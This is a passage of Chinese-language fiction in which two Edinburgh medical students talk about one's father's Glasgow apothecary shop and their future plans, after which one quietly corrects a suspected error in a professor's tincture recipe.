"才不是。"詹姆斯嗤了一声,"我爸是药剂师。但我妈那个人,什么都想亲力亲为,连面粉都要自己挑麦子,让磨坊单独磨。她说外面卖的面粉掺了淀粉,不纯。"
"那你爸的药剂铺子怎么样?"
詹姆斯的表情变了一下,像是不知道该怎么回答。
"不大。"他说,"在格拉斯哥的西区,就一间门面。我爸手艺不错,配药认真,但不会做生意。别人家的铺子靠卖专利药赚钱,他非要自己琢磨配方,琢磨出来了也不去注册,就说''能治病就行''。"
他顿了一下。"所以我家的铺子一直不大。养家够,但攒不下钱。我出来上学,是我妈把陪嫁的首饰当了凑的学费。"
房间里安静了几秒。
西奥多没有接话。他知道詹姆斯说这些不是在卖惨——他是真的把他当朋友了,才会说这些。
"你爸的药方,你学过吗?"西奥多问。
"学了一些。"詹姆斯的眼睛亮了一点,"不是正式学,就是小时候在铺子里帮忙,看着看着就会了。称量、研磨、煮膏、制丸——这些我都会。我爸说我手笨,但做药剂的手不笨。"
"那你以后打算回格拉斯哥接你爸的铺子?"
詹姆斯没有立刻回答。他低头看着手里的面包,手指无意识地撕着边缘的硬皮。
"我爸希望我回去。"他说,"但我想在爱丁堡多待几年。这里的教学比格拉斯哥好,教授也厉害。如果能拿到学位,回去之后就算不接铺子,也能去医院当药剂师,比在铺子里强。"
他抬起头。"你呢?你以后打算回英格兰?"
西奥多想了一下。"大概会回伦敦。"
"伦敦?"詹姆斯的表情有一丝意外,但更多的是某种说不清的遗憾,"伦敦好啊。大医院多,机会多。不过那边竞争也大——你成绩这么好,应该没问题。"
他停了一下,又补了一句:"就是……到时候远了,联系不太方便。"
西奥多没有接这句话。
两个人在烛光下看了一会儿书。詹姆斯走的时候快十一点了,外面的风大得吓人,西奥多把自己的围巾借给他——他有一条多余的,系统商城买的,八块钱。
"明天还你。"詹姆斯裹着围巾,缩着脖子冲进了风里。
西奥多关上门,回到书桌前,打开那三张配方单。
第三张,酒精用量,四盎司。
他拿起笔,把"四"划掉,在旁边写了一个"二"。
然后在下面写了一行小字:"原配方酒精用量似有误,外用酊剂浓度过高会刺激皮肤。疑为笔误,改为两盎司。"
想了想,又在最后加了一句:"但我不确定教授是否有特殊考虑,若如此,请恕冒昧。"
这样既改了错,又留了台阶。
他抄了一个多小时,抄完之后检查了一遍,把两张原稿和三份抄写件分别叠好,放进书包里。